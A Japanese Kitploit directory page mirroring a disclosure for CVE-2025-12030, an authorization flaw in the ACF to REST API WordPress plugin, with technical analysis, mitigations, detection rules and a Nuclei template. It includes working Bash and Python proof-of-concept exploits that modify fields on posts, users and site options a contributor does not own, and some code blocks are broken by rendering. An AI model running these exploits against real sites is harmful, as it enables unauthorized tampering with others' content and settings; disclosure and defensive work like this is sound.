Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - 投稿者レベルのアクセス権を持つ認証済みユーザーが、自分が所有していないオブジェクト上のACFフィールドを変更できるセキュリティ上の欠陥。 | Kitploit
ツール/GitHubGitHub/snailsploit/cve-2025-12030
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - 投稿者レベルのアクセス権を持つ認証済みユーザーが、自分が所有していないオブジェクト上のACFフィールドを変更できるセキュリティ上の欠陥。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-12030: ACF to REST API WordPressプラグインにおける安全でない直接オブジェクト参照

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

キーワード: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

目次

  • 概要
  • 脆弱性の詳細
  • 技術的分析
  • 攻撃ベクトル
  • 概念実証
  • 修正ガイド
  • 検出
  • CVSSメトリクス
  • 参考文献
  • クレジット
  • セキュリティ連絡先

概要

ACF to REST API WordPressプラグインのIDOR脆弱性(CVE-2025-12030) - 認証されたContributorレベルのアクセス権を持つユーザーが、自分が所有していないオブジェクトのACFフィールドを変更できるセキュリティ上の欠陥。

ACF to REST API WordPressプラグインにおいて、最小限の権限を持つ認証された攻撃者がWordPressインストール全体のACFフィールドを変更できる、安全でない直接オブジェクト参照(IDOR)の脆弱性が発見されました。

発見者: Kai Aizen (SnailSploit)
公開日: January 6, 2026
CVSSスコア: 4.3 (Medium)
CWE: CWE-639 - ユーザー制御キーによる認証バイパス
プラグイン: ACF to REST API
プラグインスラッグ: acf-to-rest-api
攻撃タイプ: 安全でない直接オブジェクト参照(IDOR)
必要な権限: Contributor+ (認証された攻撃)

脆弱性の詳細

説明

WordPress用ACF to REST APIプラグインは、バージョン3.3.4までの全バージョンにおいて、安全でない直接オブジェクト参照に対して脆弱です。これは、update_item_permissions_check() メソッドにおける機能チェックが不十分であり、現在のユーザーが edit_posts 機能を持っていることのみを確認し、オブジェクト固有の権限(例:edit_post($id)、edit_user($id)、manage_options)をチェックしていないことが原因です。

影響

この脆弱性により、Contributorレベル以上のアクセス権を持つ認証された攻撃者は以下を行うことが可能です:

  • 自分が所有していない投稿のACFフィールドを変更 - 投稿の所有権制限をバイパス
  • 任意のユーザーアカウントのACFフィールドを変更 - 管理者アカウントを含む
  • コメントのACFフィールドを変更 - コメントのメタデータを変更
  • タクソノミータームのACFフィールドを変更 - カテゴリ/タグのカスタムフィールドを変更
  • グローバルオプションページの変更 - manage_options 機能なしでサイト全体のACFオプションにアクセス

すべての変更は、/wp-json/acf/v3/{type}/{id} REST APIエンドポイントを介して可能です。

影響を受けるバージョン

  • 脆弱性あり: バージョン3.3.4以下の全バージョン
  • 修正済み: ⚠️ 既知の修正はありません

CVSS v3.1メトリクス```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

root@kitploit:~
| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |

**CVSS v3.1 内訳:**

- **Attack Vector (AV):** Network - この脆弱性はネットワーク経由でリモートから悪用可能
- **Attack Complexity (AC):** Low - 悪用に特別な条件は不要
- **Privileges Required (PR):** Low - 投稿者レベルの認証が必要
- **User Interaction (UI):** None - ユーザーの操作なしで悪用可能
- **Scope (S):** Unchanged - 脆弱性は影響を受けるコンポーネントのみに影響
- **Confidentiality Impact (C):** None - 情報漏洩なし
- **Integrity Impact (I):** Low - ACFフィールドの不正な変更
- **Availability Impact (A):** None - 可用性への影響なし

## 技術的詳細

### 脆弱性の根本原因

脆弱性は、認可が不十分な `update_item_permissions_check()` メソッドに存在します。```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

適切な実装では、オブジェクト固有の権限を確認する必要があります:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

root@kitploit:~
switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

root@kitploit:~
### 脆弱なエンドポイント

| エンドポイント | 対象 | 必要な権限(あるべき姿) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 投稿 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 固定ページ | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | ユーザー | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | コメント | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | ターム | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | オプション | `manage_options` |

### 攻撃ベクトル```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

この脆弱性は、WordPress REST APIを通じて、Contributorロール以上の認証済みユーザーによって悪用される可能性があります。

概念実証

⚠️ 教育および認可されたテスト目的のみに使用してください

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

root@kitploit:~
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

修復

サイト管理者向け

即時対応が必要です:

⚠️ この脆弱性に対する公式パッチは現在利用できません。

  1. プラグインのアンインストールを検討(ACF REST API機能が重要でない場合)
  2. ユーザー登録を制限し、既存のContributor+アカウントを確認
  3. WAFルールを実装し、不正なREST API変更をブロック
  4. REST APIアクティビティを監視し、不審なACFフィールド変更を確認
  5. 適切な認可制御を持つ代替プラグインを検討

一時的な緩和策

オプション1: コードによるREST APIエンドポイントの無効化

テーマのfunctions.phpまたはカスタムプラグインに追加:```php

403) ); } return $permission; }, 10, 3); ``` #### オプション2: .htaccess による制限```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### オプション3: Nginx設定```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### プラグイン開発者向け プラグインをフォークまたはパッチする場合、適切なオブジェクト固有の認可を実装してください:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## 検出 ### ログ分析 不審なREST APIアクティビティを検索する:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### WordPress プラグインチェック```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### セキュリティスキャナールール **Nuclei Template:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Webアプリケーションファイアウォールのルール **ModSecurityルール:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Timeline - **2026年1月6日** - 脆弱性が公開されました - **2026年1月6日** - CVE-2025-12030が割り当てられました - **現在** - ⚠️ パッチは利用できません ## References - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - Insecure Direct Object Reference](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Credits **研究者:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **開示プロセス:** Wordfence Bug Bounty Programを通じて調整されました ## 免責事項 この情報は、セキュリティ研究および防御目的でのみ提供されています。この脆弱性を悪意のある目的で悪用することは違法であり、非倫理的です。所有していないシステムをテストする前に、必ず適切な許可を取得してください。 ## 連絡先 この脆弱性に関する質問や追加情報については、以下までご連絡ください: - **メール:** [[email protected]](mailto:[email protected]) - **ウェブサイト:** [snailsploit.com](https://snailsploit.com) - **組織:** SnailSploit Security Research --- *最終更新日: 2026年1月6日* --- ## 📚 ドキュメントと著者 このプロジェクトの完全な報告書、方法論、および関連研究は以下にあります: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** **Kai Aizen** によって作成されました — 独立した攻撃的セキュリティ研究者。 [snailsploit.com](https://snailsploit.com) · [研究](https://snailsploit.com/research) · [フレームワーク](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *同じ攻撃。異なる基盤。*
ツールをダウンロード